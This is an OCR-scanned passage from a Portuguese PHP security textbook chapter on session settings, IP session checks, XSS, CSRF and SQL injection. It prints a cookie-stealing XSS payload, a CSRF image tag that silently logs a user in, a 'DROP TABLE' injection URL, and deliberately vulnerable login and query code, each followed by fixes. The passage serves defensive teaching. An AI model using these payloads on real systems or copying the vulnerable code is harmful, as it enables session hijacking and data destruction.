a edi¢do da flag session.cache_expire doarquivo php.ini :
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session.cache_expire = 180

session.cache_expire

A flag recebe como valor o tempo em minutos que vocé deseja
que suas sessoes expirem. Entretanto, esse tempo altera o tempo das
sessoes para todos os cddigos PHP de seu sistema, e o seu padrao ¢é
180.

Caso vocé queira setar o valor para expirar o tempo de sessao,
ou mesmo retornar o valor que estd na flag
session.cache_expire , vocé podera utilizar a fungio

session_cache_expire .

Para saber mais sobre, acesse
http://php.net/manual/pt_BR/function.session-cache-
expire.php.

Session_cache_expire

A fungdo  session_cache_expire  usa, por padrdo, a
configuragdo de tempo que esta setada no arquivo de configuracoes
do seu PHP, o php.ini , na opgdo session.gc_maxlifetime .
Quando existe a necessidade de inserir um tempo para expirar a
sessdo vigente do script atual, vocé chama a fungio

session_cache_expire com o parametro de tempo desejado.

Quando ndo passamos nenhum parametro, sera retornado o
tempo configurado, porém a fungdo também serve para setar um
novo tempo em minutos para expirar a sessao. Tudo isso no script
em que a func¢ao foi chamada.

Vocé deve utilizar a funcdo de session_cache_expire antes
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de uma chamada de session_start , porque, ao iniciar uma nova
sessdo, ele ja terd atribuido o tempo para expirar.

//Tempo atual da sessdo vinda do arquivo php.ini

$tempoSessaoAtual = session_cache_expire ();
print "Tempo de sessao Atual: $tempoSessaoAtual";

//Modificacdo do tempo de sessdo

session_cache_expire(10);
$tempoSessaoModificado = session_cache_expire();

print "Tempo de Sessdo modificada: $tempoSessaoModificado";
session_start();
$_SESSION['sessaoNormal'] = 'Teste';

print_r($_SESSION, 1);

Para mais informagdes, veja a documentagio da fungdo
session_cache_expire em
http://php.net/manual/en/function.session-cache-expire.php, e
da session_start() em
http://php.net/manual/en/function.session-start.php.

session.use_trans_sid

Essa configuracao vem por padrao como 0 (desabilitado). Ela
retira o suporte a sid transparente, ou seja, ndo permite que o
usudrio gerencie as sessoes por URL.
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A documentacao para a configuragao do

session.use_trans_sid pode ser encontrada em
http://php.net/manual/pt_BR/session.configuration.php#ini.se
ssion.use-trans-sid.

11.8 VERIFICACAO DE SESSAO POR IP

4

Como nosso foco é seguranca em PHP, nido explicarei muito
sobre os detalhes do IP (Internet Protocol), basta que vocé saiba que
¢ o identificador do seu computador. Uma outra forma de garantir a
seguranca das sessdes criadas em PHP, que a Zend recomenda, é
que vocé verifique se o IP ndo mudou entre uma requisi¢éo e outra,
enquanto estamos logados.

Imagine um cendrio em que temos o usudrio Jodozinho que
realiza login e cria sua sessdo no IP 192.168.0.1 . Logo apds o
login, o mesmo usudrio Jodozinho envia uma requisi¢io do IP

192.168.1.100 . Isso nos indica que Jodozinho mudou de
maquina. Para garantir a seguranga do usuario Jodozinho, devemos
permitir que a sessdo fique ativa apenas para um IP. E para atingir
esse nosso objetivo, usaremos a variavel global $_SERVER .

Vocé pode realizar a verificagdo de IP utilizando a variavel
global $_SERVER , que ¢ um array de informagdes. Também ¢é
possivel obter o IP tanto do usudrio que estd acessando o PHP
quanto do servidor em que o PHP estd rodando.

No array $_SERVER , vamos trabalhar com algumas chaves que
retornam os dados de IP necessarios para a nossa verificagcdo, que
sa0 REMOTE_ADDR e SERVER_ADDR .

Quando vocé utiliza a chave REMOTE_ADDR no array global
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$_SERVER , o PHP retornard o enderego de IP do usudrio que esta
visualizando sua pagina. Veja o exemplo a seguir:

print $_SERVER['REMOTE_ADDR'];

Ao executar esse script em um cliente que esta rodando
localmente na mesma maquina que o servidor local, obtemos o
seguinte resultado:

127.0.0.1

Podemos também obter o IP do servidor de onde o PHP esta
sendo executado através da chave SERVER_ADDR . Veja no céddigo
seguinte como podemos usar essa chave com o array $SERVER :

print $_SERVER['SERVER_ADDR'];

Levando em consideragdo que estamos executando o script no
servidor de IP 192.168.10.10 , obtemos o seguinte resultado:

192.168.10.10

Agora que sabemos como utilizar as varidveis da global
$_SERVER , podemos nos concentrar em realizar a verificagao de
sessdo do Jodozinho. Para isso, vamos assumir que o0 nosso script
tenha uma conexao com o banco de dados onde armazenaremos o

IP de quem realizou o login e iniciou a sessdo para navegar.

Veja a seguir a tabela que vamos usar em nosso banco de dados
e o registro que inseriremos para realizar nosso teste:

CREATE TABLE ‘usuarios” (
“id® int(11) NOT NULL AUTO_INCREMENT,
‘usuario” varchar(45) NOT NULL,
“senha” varchar(45) NOT NULL,
“ip® varchar(45) NULL,
PRIMARY KEY ('id")

) ENGINE=InnoDB AUTO_INCREMENT=1;

E os dados para inser¢do no banco de dados:

INSERT INTO “zcpe' . usuarios’
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(*id*, ‘usuario’, “senha’, “ip°) VALUES
(1, 'marabesi', 123, '127.0.0.1");

Veja o conjunto de dados que temos para realizar esse teste:

T e +o-m - - Fommmmeeaaaa +
| id | usuario | senha | ip |
T S +o-mm oo Fommmmeaaaaa +
| 1 | marabesi | 123 | 127.0.0.1 |
e e Fommmm e e e o - +

O segundo passo ¢ estender a classe PDO para adicionarmos
dois métodos especiais: um para retornar o IP que esta no banco de
dados, e outro para atualizar o IP de login do usuario. Veja o codigo
a seguir da nossa nova classe chamada Usuario :

class Usuario extends \PDO

{

public function buscaUltimoIplLoginEfetuado($usuario)

{
$query = $this->prepare('SELECT ip FROM usuarios WHERE usu
ario = :usuario');

$query->execute([
'rusuario' => $usuario

1
$dados = $query->fetch();

return $dados['ip'];

public function salvaIpDeLogin($ip, $usuario)

{
$query = $this->prepare('UPDATE usuarios SET ip = :ip WHER
E usuario = :usuario');

return $query->execute([
':ip' => $ip,
'tusuario' => $usuario

1)

Antes de partirmos para a parte que realiza o processamento das
informagdes, vamos criar o nosso HTML para interagir com o
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processamento do formuldrio. Repare que é um formuldrio bem
simples contendo dois campos: um do tipo de texto, no qual
informamos o usudrio, e outro do tipo senha, onde obviamente
vamos informar a senha.

<html>
<head>
<title>Login</title>
</head>
<body>
<form method="post">
<input type="text" name="usuario"/>
<input type="password" name="senha"/>
<input type="submit" value="Enviar"/>
</form>
</body>
</html>

Agora podemos criar o cdédigo em que receberemos as
requisi¢coes do formulario para serem processadas.

session_start();
if ($_SERVER['REQUEST_METHOD'] == 'POST') {

$pdo = new \Usuario('mysql:host=localhost;dbname=zcpe;port=330
6', 'root', 123456);

$pdo->setAttribute(\PDO: :ATTR_ERRMODE, \PDO::ERRMODE_EXCEPTION
)i

$usuario = $_POST['usuario'];
$senha = $_POST[ 'senha'];

$ipAtualDoUsuario = $_SERVER['REMOTE_ADDR'];

if ($ipAtualDoUsuario != $pdo->buscaUltimoIpLoginEfetuado($usu
ario)) {
session_destroy();
$pdo->salvaIpDeLogin($ipAtualDoUsuario, $usuario);

exit('Usuario esta logado em outra maquina');
} else {
print 'Ol& usuario';
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Na primeira linha de nosso cédigo, estamos iniciando a sessao
para que seja possivel usar seus dados em nosso script. Logo em
seguida, realizamos uma verificagdo para saber se o método enviado
através do formuldrio é do tipo POST , o que nos indica que sera
feita alguma mudanga significativa dos dados em nosso servidor. E
se essa requisicdo for POST , armazenamos o usudrio e senha
utilizados nessa requisicao, e verificamos se o IP do usudrio que esta
fazendo a requisi¢ao é o mesmo que o ultimo IP registrado para
aquela sessdo.

Se o IP nio for o mesmo, redirecionamos o usudrio para realizar
o login novamente; caso contrario, apenas salvamos o IP do usudrio
para que possamos verificar na préxima requisicio que for feita.
Com isso, garantimos que o usudrio ndo tenha sua sessdo iniciada

em diversas maquinas sem seu conhecimento.

11.9 CROSS-SITE SCRIPTING

Antes de explicar sobre o ataque de Cross-site Scripting,
precisamos saber o que ¢ uma linguagem executada do lado do
cliente. Para muitos leitores, ¢ facil identificar uma linguagem dessa
forma, ndo é? Para quem pensou em JavaScript, acertou. Ela é uma
linguagem que ¢ executada no lado do cliente. Mas vocé deve estar
se perguntando: o que isso tem a ver com seguranga no PHP?

Existe um tipo de ataque que é mais conhecido como XSS
(Cross-site scripting), no qual o invasor tenta injetar um cddigo
JavaScript. Isso ocorre porque muitos desenvolvedores aceitam o
envio de dados e ja salvam em banco de dados, sem validar o
conteudo desses dados.

A seguir, vamos ilustrar como ocorreria um ataque desse tipo
em um script que ndo leva em consideracao as boas praticas de
programagdo. Para isso, usaremos uma mensagem que exibe o ID
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da sessao do usudrio atual.

A primeira coisa que devemos fazer é criar um arquivo chamado
seguranca.php , e adicionar o cédigo PHP mostrado a seguir.

Esse cddigo PHP antes do HTML ¢ responsavel por validar os
dados enviados pelo usudrio no formuldrio. Ou seja, a ideia aqui é
que se o usudrio nio estiver logado, sera exibido o formulario de
login.

Ao realizar a a¢do de enviar os dados, se o usudrio e senha
baterem com o padrao, ele serd logado e é exibida a mensagem de
boas-vindas ao usudrio.

session_start();

// Valida as informacdes enviadas pelo formulario
$usuario = filter_input(INPUT_POST, 'cpf');

$senha = filter_input (INPUT_POST, 'senha');
$codigoAcesso = filter_input(INPUT_POST, 'cod_acesso');

if (larray_key_exists('usuario', $_SESSION)) {
if ($usuario && $senha) {
$usuarioPadrao = '24228124577';
$senhaPadrao = md5('123");

if ($usuarioPadrao == $usuario) {
if (md5($senha) == $senhaPadrao) {
$_SESSION['usuario'] = $usuario;
echo "0la: $usuario seu coédigo de acesso é: $codig
0Acesso";
} else {
echo 'OPS';

1
?2>
<html>
<head>
<meta charset="utf-8"/>
</head>
<body>
<form method="POST">
<body>
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CPF:

<input type="text" value="" name="cpf"/>
Senha:
<input type="password" value="" name="senha"/>
Cdédigo de Acesso:
<input type="text" value="" name="cod_acesso"/>
<input type="submit" value="::: TESTE :::"/>
</form>
</body>
</html>

<?php } else { ?>
<html>
<head>
<meta charset="utf-8"/>
</head>
<body>
0la, seja bem vindo: <?php echo $_SESSION['usuario'] ?:
seu cédigo de acesso é: <?php echo $codigoAcesso ?>
</body>
</html>
<?php } 7>

Vamos utilizar o navegador Firefox e o plugin FireBug para

poder manipular o valor da nossa sessao, pois o Google Chrome
possui uma seguranga nativa contra ataques XSS.

Veja que, ao tentar realizar esse tipo de ataque, o prdprio
navegador exibe uma mensagem de erro:

F O Elements Console Sources MNetwork » a1 i X

& W <topframe> ¥ Preserve log

@ The X5S Auditor refused to execute a script in teste.php:1
'http://localhost:8181/teste.php' because its source code was
found within the request. The auditor was enabled as the server
sent neither an 'X-XS5-Protection® nor 'Content-Security-Policy'
header.

Figura 11.7: Google Chrome detectando o ataque XSS
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O Firebug ¢ uma ferramenta que auxilia desenvolvedores a
inspecionar a fundo elementos HTML, trafego de rede,
cookies, requisi¢oes realizadas pelo navegador, e entre outras
coisas mais. Por padrdo, o Firefox ndo vem com esse plugin
instalado. Para saber como instalar e utiliza-lo, acesse o site
oficial em https://addons.mozilla.org/pt-
br/firefox/addon/firebug/.

Para o nosso exemplo, serd utilizado o CPF 24228124577 e a
senha 123 . Como vocé pode reparar, nosso cddigo é simples e
contém um problema: ele estd exibindo o texto 0la:
nome_do_usuario seu coédigo de acesso é
codigo_de_acesso . E ¢ justamente o campo de cdédigo de acesso
que vamos usar para injetar o seguinte script:
<script>

alert(document.cookie)
</script>

Nesse codigo, estamos criando um alerta no navegador que vai
retornar o PHPSESSID , caso o login ocorra. Com isso, podemos
utilizar esse valor e manipuld-lo através do FireBug e tentar logar
novamente o usudrio, sem a necessidade da utilizacdo do usudrio e

senha. A figura a seguir ilustra esses passos. Repare principalmente
no conteudo do campo do cdédigo de acesso.

CPF: (24228124577 | Senha: [sse | Codigo de Acesso: |document.cookie) </script>| | :: TESTE :=

Figura 11.8: Campo com script XSS
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Se vocé ndo notou, vamos dar uma dica aqui: esse ataque
exibido mostra como podemos mesclar diferentes técnicas para
burlar a seguranca das aplicagdes. Repare que, ao utilizarmos o
XSS, obtemos o ID da sessao do usudrio. Com isso, podemos
realizar a fixacdo de sessio que vimos anteriormente neste
capitulo. Vocé se lembra do que é fixacdo de sessdao?

Para realizar os proximos passos, realize o login executando o
script que possui o cddigo apresentado. Se o login for efetuado com
sucesso, sera exibido um alerta na tela. Obtenha o valor que ¢é
retornando com PHPSESSID e salve em um arquivo. Veja:

PHPSESSID=rmm48d&afoo781I0ngnidGoesve

Figura 11.9: XSS em execugiao

Vocé deve salvar apenas o que esta apds o sinal de igual ( = ),
pois é o que serd usado para realizar o login em nosso exemplo.
Além disso, a descrigdo que estd a esquerda do sinal de igual ¢é
apenas o nome do identificador da sessao.

Agora aperte em OK e atualize a pagina. Entdo, vocé ja vera a
seguinte mensagem:
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014, seja bem vindo: 24228124577

Agora, invoque o FireBug. Para isso, vocé devera clicar no canto
superior que contém a imagem de um pequeno inseto, ou
simplesmente apertando a tecla F12 . Caso o FireBug estiver
instalado corretamente, serd retornada a seguinte tela:

w LIE‘ < ) = | Console » | HTML €55 Script DOM HNet Cookies
& | Clear Persist All | Errors | Warnings  Info  Debug Info  Cookies
=

Figura 11.10: Janela do FireBug em execu¢ao apds apertar a tecla F12

Agora vocé devera ir até a aba de Cookies, como ¢ ilustrado a
seguir:
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# Y € » Y= cConsole HTML CSS Script DOM HNet | Cookies v

l& | Cookies - Filter - Default (Accept cockies) -

| NMame 4| Value
PHPSESSID skr2gels5p06wTkrrsh9941723

Figura 11.11: Aba Cookies de cookies do FireBug

Clique com o botéo direito do mouse no cookie PHPSESSID , e
selecione a opgdo para deletar o Cookie, como é ilustrado na figura:

# O £ » Y= console HTML €SS Script DOM Net|Cnnl€iesv|

& | Cookies = Filter = Default (Accept cookies) =

| Name 4| Value
'® PHPSESSID skrinels5n06vTkrrshg941723
Cut
Copy
Paste
Copy All
Delete
Edit
Clear Value
Breal On 'PHPSESSID' cookle
Use in Command Line
Inspect in DOM Panel

Figura 11.12: Lista com as opgoes diponiveis para manipular o Cookie no FireBug
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Por favor, nao feche o FireBug e mantenha-se na aba Cookies,
porque vamos utilizar as informagdes que estao contidas nessa
aba aberta para que seja possivel alterar os valores de Cookies
por ele mesmo.

Apos isso, atualize a pagina e vocé vera que na aba cookies tem
um PHPSESSID gerado. Serd ele que vamos editar com o valor que
salvamos no arquivo anteriormente. Para isso, clique novamente
com o botdo direito e selecione a op¢ao editar, como ¢ ilustrado a
seguir:

# T { » Y= console HTML S5 Script DOM HNet | Cookies v

# | Cookies - Filter » Default (Accept cookies) -

Name 4 Value
[+ PHPSESSID i2nn&f5f389i751g7a05vigps 7
Qut

Copy

Copy All

Delete

Clear Value
Ereak On 'PHPSESSID' cookie

Use in Command Line
Inspect in DOM Panel

Figura 11.13: Opgao de edi¢do do valor de um Cookie

Serd exibida uma tela para edi¢ao do nosso cookie PHPSESSID .
Nos editaremos o valor e colocaremos o que salvamos no arquivo:
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Edit Cookie
MNarmme: | PHPSESSID
Host: | localhost
Path:
Expires: /05/ Ea ¥ Session

Valie: | i5nn6f5f38917 5197 ao5vigps7

URL encode value
Secure Cookie HTTP Cnly

Cancel oK

Figura 11.14: Janela para alterar o valor de um item existente no Cookie do navegador

Agora, confirme a edi¢do clicando em 0k e, em seguida, basta
que vocé atualize a pagina. Vocé vai perceber que efetuamos login

sem precisar de nenhum login ou senha.

Como vocé pode perceber, com um alert simples em
JavaScript em nosso exemplo, foi possivel obter o valor do Cookie
PHPSESSID e realizar o login sem a senha do usudrio. Felizmente,
existe uma forma simples para prevenir que o alert nao seja
executado em nosso exemplo, ao usarmos a fun¢do htmlentities .

A fungao htmlentities converte qualquer cédigo HTML para
a sua devida entidade e, ao fazer isso, o navegador nao interpretara o
cédigo HTML, mas o exibira. Para ficar mais claro, vamos entdo a
um exemplo simples. Vamos pegar um cddigo a seguir e tentar
exibi-lo no navegador.

print htmlentities('<a href="http://www.google.com.br">Google</a>"'

)
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Vocé consegue adivinhar o que veremos ao executar esse
cédigo? Antes de seguir em frente, tente dar uma olhada na func¢ao
htmlentities .

Para conhecer mais sobre a funcdo htmlentities , acesse a
documentacao oficial em
http://php.net/manual/pt_BR/function.htmlentities.php.

Se vocé ja utilizou essa fungdo, sabe que o cddigo HTMI sera
exibido. Veja o resultado:

<a href="http://www.google.com.br">Google</a>

Apods esse simples exemplo, podemos aplicar a fungido
htmlentities nos dados que sdo enviados pelo usuario,
prevenindo assim a execugdo do JavaScript pelo navegador. Vamos
exibir apenas o codigo alterado, e ndo o script inteiro, para nao ficar
dificil de entender. Veja:
$usuario = htmlentities(filter_input(INPUT_POST, 'cpf'));
$senha = htmlentities(filter_input(INPUT_POST, 'senha'));

$codigoAcesso = htmlentities(filter_input(INPUT_POST, 'cod_acesso'
)i

Adicionamos agora na valida¢ao dos dados enviados pelo
usudrio a conversdo de todo o cédigo HTML enviado. Assim,
qualquer tipo de script enviado ndo serd mais interpretado, mas sim
exibido como texto puro. Vamos executar novamente o login do
usudrio passando o JavaScript malicioso e ver o resultado que é
exibido.

Ola: 24228124577 seu codigo de acesso é: <script> alert(document.cookie) </script>
CPF: | | Senha: | | Codigo de Acesso: | || =TESTE=

Figura 11.15: Codigo JavaScript sendo exibido ap6s tratar ataque XSS com a fungdo htmlentities
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Como vocé reparou, ndo conseguiremos mais injetar nenhum
codigo através do formuldrio, tornando a utilizagio de XSS e
qualquer tentativa de uso indevido no formulario.

11.10 CROSS-SITE REQUEST FORGERIES

Nio é tdo famoso como XSS, mas é bem provavel que vocé ja
tenha tomado medidas para proteger sua aplicagdo contra ataques
XSS. Mas e contra CSRF (Cross-Site Request Forgeries)?

Caso vocé ndo tenha dado muita atengdo e o ataque pareca
bobo, saiba que também é um ataque bem famoso. Quem nunca
recebeu um link via e-mail ou chat. Ou até mesmo por um site no
qual o usudrio supde que esteja seguro, e acaba clicando em algo que
geralmente estara solicitando para que vocé clique, por exemplo, em
links que contenham verdadeiros sonhos a serem realizados sem
muito esfor¢o. Um exemplo é o famoso: "Atengdo senhor(a), vocé
acaba de ganhar uma casa no valor de meio milhdo de reais”. Nesse
momento, vocé podera sentir-se tentado a clicar e é onde tudo
podera comegar.

O ataque visa tentativas de engenharia social com seus usudrios,
e tentara forcar o usudrio a executar uma agdo como simplesmente
entrar em seu bankline e digitar todos os seus dados pessoais. Ele
pode até ndo desconfiar de nada, pois todas as funcionalidades
estardo idénticas ao que ele ja estda habituado a executar em seu
banco, como por exemplo, Itat, Bradesco etc.

No caso dos chats, ¢ comum usudrios maliciosos enganarem
outros enviando imagens contendo um simples elemento HTML de
imagem, com uma referéncia a uma agdo de um site mal
intencionando, podendo enganar esse usudrio a digitar seu CPF, por
exemplo.
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O que a Zend espera de vocé nesse momento é que possa, como
desenvolvedor, gerar medidas eficazes de protegdo do seu sistema
ou site, e que seja capaz de abordar a causa raiz do problema. E, é
claro, ver o quao bem vocé foi capaz de identificar o problema, se no
caso é um ataque XSS, CSRF ou outros.

O erro fundamental cometido pelos desenvolvedores é confiar
cegamente em seus usudrios, acreditando que sempre mandarao os
dados que estdo solicitados em seus formuldrios. E a partir dessa
confianga que se gera a vulnerabilidade, que um usuario malicioso
vai explorar em seu sistema.

O que vocé precisa ter em mente é que nunca devera confiar em
seus usuarios no quesito dos dados enviados via formulario, porque
qualquer brecha que vocé deixar, vocé estara apto a receber ataques
em seu sistema. Alguns exemplos de sistema que sofrem bastante
com esse tipo de ataque sdo foruns, e-mails (nos quais sua
informagao é exibida em um navegador), antincios, cotagao de agoes
(que possam ser exibidas em um feed) e, principalmente, dados de

formuldrios.

No caso do ataque CSRF, o alvo técnico buscado como falha
serd as solicitagpes HTTP. E importante que, antes de mais nada,
vocé entenda um pouco sobre esse protocolo, onde os clientes web e
servidores usam para se comunicar.

Os seus clientes web enviarao solicitagdes para vocé utilizando o
protocolo HTTP, e os seus servidores responderdo também sob o
mesmo protocolo. O que compde basicamente o protocolo ¢ um
pedido e uma resposta.

O exemplo mais basico que compde a explicagdo é um simples
pedido HTTP a uma pagina:

GET / HTTP/1.1
Host: localhost
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Veja como fica o fluxo do ataque, ja que vocé conhece um pouco
do que o usudrio malicioso vai tentar se aproveitar:

Figura 11.16: Fluxo simples do ataque CSRF

Vamos utilizar o HTML do exemplo de XSS. Mas agora crie um
novo arquivo com o nome formulario.php e salve o codigo a
seguir nele.

<html>
<head>
<meta charset="utf-8"/>
</head>
<body>
<form method="post" action="usuario.php”>
CPF:
<input type="text" value="" name="cpf" />
Senha:
<input type="password" value="" name="senha" />
Codigo de Acesso:
<input type="password" value="" name="cod_acesso" />
<input type="submit" value="Enviar" />
</form>
</body>
</html>

Existe uma pequena diferenga, alteramos a tag action para
enviar os dados ao script usuario.php . E a seguir, vamos
visualizar o c6digo que deve ir dentro do script usuario.php .

<html>
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<head>

<meta charset="utf-8"/>
</head>
<body>

<?php

session_start();

$usuario = (array_key_exists('cpf', $_REQUEST) ? $_REQUEST|
'cpf'] @ null);

$senha = (array_key_exists('senha', $_REQUEST) ? $_REQUEST|
'senha'] : null);

$codigoAcesso = (array_key_exists('cod_acesso', $_REQUEST)
? $_REQUEST[ 'cod_acesso'] : null);

$usuarioLogado = (array_key_exists('usuario', $_SESSION) ?
$_SESSION['usuario'] : null);

if (is_null($usuariolLogado)) {
if ($usuario && $senha) {

$usuarioPadrao = '24228124577';
$senhaPadrao = md5('123");

if ($usuarioPadrao == $usuario) {
if (md5($senha) == $senhaPadrao) {
$_SESSION[ 'usuario'] = S$usuario;
echo "0la: {$usuario}";
} else {
echo 'OPS';
}

}
} else {

echo "0la, seja bem vindo: echo $usuarioLogado seu coéd
igo de acesso é: echo $codigoAcesso";

}

2>
</body>
</html>

Agora, criaremos o script index.php , que fard com que nosso
usudrio seja  logado sem nem passar pelo arquivo
formulario.php .

<html>

<div style="background-image: url('http://glued.com.br/wp-cont
ent/uploads/2014/10/Taylor-Swift-3.jpg'); height: 430px; width: 65
Opx; ">

376  11.10 CROSS-SITE REQUEST FORGERIES



<img
src="http://localhost/livro/usuario.php?cpf=24228124577&se
nha=123&cod_acesso=123" />

</div>
</html>

Agora vocé devera abrir duas abas no seu navegador e,
inicialmente, vocé chamara o script usuario.php .

o= T IET L e hiCp://local...usuario.php xu

localhost

Figura 11.17: Duas abas abertas apontando para o script usuario.php

Vocé vera que nao ¢é exibida nenhuma informagdo indicando
que o usuario foi logado, e vocé vera apenas a imagem da Taylor
Swift. Até entdo, ndo parece que aconteceu nada, ndo é? Mas repare

que ocorreu uma requisi¢do sem nem mesmo nds sabermos. Veja a
figura a seguir:

wt "IS“ € » Y= cConsole HTML CSS Script DOM | Net v | Cookies

ak | Clear Persist All | HTML €SS JavaScript XHR Images Plugins Media Fonts

URL | Status | Domain Size Remote IP

+ GET livro 200 OK localhost:8989 263 B 127.0.0.1:8989
+ http://localhost:8989/livro/usuario.php?cpf=24228124577&senha=123&cod_acesso=123 :3989
@ GET Taylor-Swift-3.jpg glued.com.br 9 3

10.10.100.66:3

5,9 KB

3 requests 96,3 KB (95,9 KB from

Figura 11.18: Requisi¢ao realizada sem o usuario perceber

Agora va na segunda aba, que contém o usuario.php . Talvez
vocé tenha tido um momento "OPS, ferrou!”, pois o usudrio foi
logado sem percebermos. Mas calma, solucionar o problema nao é
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tdo complicado. Vocé pode perceber que o script usuario.php
contém a global $_REQUEST . Esse ja ¢ um dos problemas, pois foi
possivel, mesmo passando GET , logar com o usudrio. Agora altere
para $_POST e veja a alteragio realizada no codigo a seguir:

session_start();

$usuario = (array_key_exists('cpf', $_POST) ? $ POST['cpf'] : null
)i

$senha = (array_key_exists('senha', $_POST) ? $_POST['senha'] : nu
11);

$codigoAcesso = (array_key_exists('cod_acesso', $ _POST) ? $_POST['
cod_acesso'] : null);

$usuarioLogado = (array_key_exists('usuario', $_SESSION) ? $_SESSI
ON['usuario'] : null);

if (is_null($usuarioLogado)) {
if ($usuario && $senha) {

$usuarioPadrao = '24228124577';
$senhaPadrao = md5('123"');

if ($usuarioPadrao == $usuario) {
if (md5($senha) == $senhaPadrao) {
$_SESSION['usuario'] = $usuario;
echo "0la: {$usuario}";
} else {
echo 'OPS';
}

}
} else {

echo "0l4, seja bem vindo: $usuariolLogado seu cdédigo de acesso
é: $codigoAcesso";

}

Agora ja ndo é mais possivel o usuario malicioso logar apenas
passando os dados via GET , mas ndo se sinta totalmente seguro.
Alguns cuidados devem sempre ser tomados para que ndo se tenha
mais brechas, tais como:

e Prefira a utilizagdo de PoST . Como vocé pode
perceber, aceitar qualquer protocolo pode gerar uma
falha, e o atacante pode aproveitar dessa brecha para
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invadir seu sistema. Porém, mesmo usando POST , ele
pode encontrar outras formas de invasdo.

o Considere agdes mais sensiveis do seu sistema em que
seu usudrio fornega a senha, pois, como mencionado
anteriormente, ndo podemos nunca confiar em nosso
usudrio, pois ele pode ser o proprio atacante.

e Outra forma de mitigar o CSRF ¢é realizar a verificagio
dos formuldrios com um token, por exemplo, em um
campo escondido no formuldrio, que a todo momento
que seu usudrio atualizar a pagina, um novo token é
gerado e salvo em sessdo. Isso torna possivel verificar se
o token enviado bate como que foi gerado. E
importante também se atentar ao tempo que esse token
pode ficar salvo na sessdo. De tempos em tempos, ele
deve ser expirado para evitar a sua fixagao.

11.11 SQL INJECTION

Talvez esse assunto seja conhecido por alguns desenvolvedores,
pois ficou bem famoso entre a comunidade: a temida injegdo de
SQL. Com ela, é possivel manipular uma simples e inofensiva
consulta SQL e gerar uma verdadeira dor de cabeca para vocé.

Imagine que, com uma instru¢iao SQL, o invasor consiga apagar
todos os dados da sua empresa, ou ser capaz de passar sem ser
detectado pelos seus controles de acesso. Ou pior ainda, que ele
possa com um simples SQL ter acesso aos comandos de niveis do
sistema operacional?

Nesse tipo de ataque, o invasor busca explorar falhas no
tratamento de dados através dos formuldrios, ou qualquer outra
forma de entrada de dados. Realizar o ataque de injegdo direta de
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comandos SQL consiste em uma técnica na qual o atacante vai
tentar, a partir da entrada de dados do seu sistema, injetar uma
instrucdo. Esta fara com que um SQL simples possa, na verdade, dar
a ele acessos aos dados, alterar, editar ou, até mesmo, exclui-los.

Ja tivemos a oportunidade de trabalhar com sistemas onde o
desenvolvedor obtinha os valores e as chaves para criagdo das suas
consultas a partir da entrada do usudrio. Veja um exemplo pratico
disso que estamos falando e preste ateng¢do na utiliza¢ao das fungdes

array_keys e array_values.

// Dados enviados pelo usuéario
$parametro = $_GET[ 'dados'];

$campos = array_keys($parametro);
$valores = array_values($parametro);

$sgl = 'INSERT INTO tb_livro (' . implode(',', $campos) . ') VALUE
S (' . implode(',', $valores) . ')';

print $sql;

A funcionalidade poderia até ficar legal para montar o INSERT ,
como visto nesse exemplo. Até entdo, inofensiva. O erro se da ao
fato de ele nao tratar os dados enviados pelo usudrio e, em seguida,
ja usar para executar a instrugdo no banco de dados. Imagine que,
por ndo tratar o SQL, o atacante consiga, por exemplo, apagar a
tabela do seu banco de dados. Veja a seguir o exemplo que ilustra a
utilizacao do ataque:

http://localhost:8181/teste.php?dados[titulo]=php&dados[ano]=2016"
); DROP TABLE tb_livro; --

Veja que geramos uma instru¢ao SQL que eliminaria a tabela
tb_livros:

INSERT INTO tb_livro (titulo,ano) VALUES ('php', '2016'); DROP TABL
E tb_livro; --')

Para ficar mais claro ainda, a figura a seguir ilustra como seria o
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lado do atacante, enviando os dados através do navegador:

€ localhost c ¢

INSERT INTO tb _livro titulo,ano VALUES (‘'php','2016'); DROP TABLE tb livro; --')

Figura 11.19: Ataque SQL injection executado através dos dados do usudrio

Se vocé desejar saber mais sobre as fungdes mencionadas,
acesse a documentagdo oficial do PHP. Para a fungio
array_keys , acesse
http://php.net/manual/pt_BR/function.array-keys.php e, para a
funcéo array_values , acesse
http://php.net/manual/pt_BR/function.array-values.php.

SQL injection na pratica

Para ficar mais claro o que ¢ SQL injection e como o ataque
ocorre, vamos a um pequeno exemplo que ilustra um pouco do
problema. Para isso, em seu banco de dados, vocé deve criar a
seguinte tabela de produtos:

CREATE TABLE “tb_produto (
“id_produto’ INT NOT NULL AUTO_INCREMENT,
“nm_produto’ VARCHAR(45) NOT NULL,
PRIMARY KEY ( id_produto));

Na tabela criada, vamos inserir alguns registros. Veja a instrugao
SQL de inser¢ao a seguir:
INSERT INTO "tb_produto’ ( nm_produto’) VALUES ('Chaves');

INSERT INTO "tb_produto® ( nm_produto’) VALUES ('Copos');
INSERT INTO "tb_produto® ( nm_produto’) VALUES ('Pano de prato');

Agora que ja temos o banco de dados pronto, vamos a estrutura
de pastas:

11.11 SQL INJECTION 381



v-' html

) | produtos.html

|

-
@B exemplol.php
| Sl

Figura 11.20: Estrutura de pastas de arquivos

Em seguida, vocé deve criar um HTML simples que exibe alguns
links para navegar entre os produtos existentes em nosso banco de
dados. O «cddigo seguinte deve ser salvo no arquivo

produtos.html . Ao ler o codigo, atente-se aos pardmetros
passados para os scripts PHP nos links ../php/exemplol.php?
pagina=1 , ../php/exemplol.php?pagina=2 e

../php/exemplol.php?pagina=3 .

<html>
<body>
<table border="1" width="50%" align="center">
<thead>
<tr align="center">
<td>Obter produto</td>
</tr>
</thead>
<tbody>
<tr>
<td>
<a href="../php/exemplol.php?pagina=1">Pri
meiro produto</a>
</td>
</tr>
<tr>
<td>
<a href="../php/exemplol.php?pagina=2">Seg
undo produto</a>
</td>
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</tr>
<tr>
<td>
<a href="../php/exemplol.php?pagina=3">Ter
ceiro produto</a>
</td>
</tr>
</tbody>
</table>
</body>
</html>

Veja o nosso script PHP que vai realizar a consulta no banco de
dados e exibir os produtos existentes. Todo o cddigo PHP a seguir
deve ser salvo no arquivo exemplol.php .

// Verifica se a conexd@o foi montada com sucesso
try {
$conn = new PDO('mysqgl:dbname=sglinjection;host=127.0.0.1;char
set=utf8', 'root', '123456');
} catch (PDOException $e) {
echo 'Connection failed: ' . $e->getMessage();

// 0Obtém a prdéxima pagina
$offset = filter_input(INPUT_GET, 'pagina', FILTER_SANITIZE_SPECIA
L_CHARS);

// Monta a instrucéo para selecionar os dados
$query = "SELECT id_produto, nm_produto FROM tb_produto ORDER BY
nm_produto LIMIT 20 OFFSET $offset;";

// Executa a instrucdo e obtém o resultado
foreach ($conn->query($query) as $row) {

printf ("[Identificador do produto: <strong>%s</strong>] - [Pr
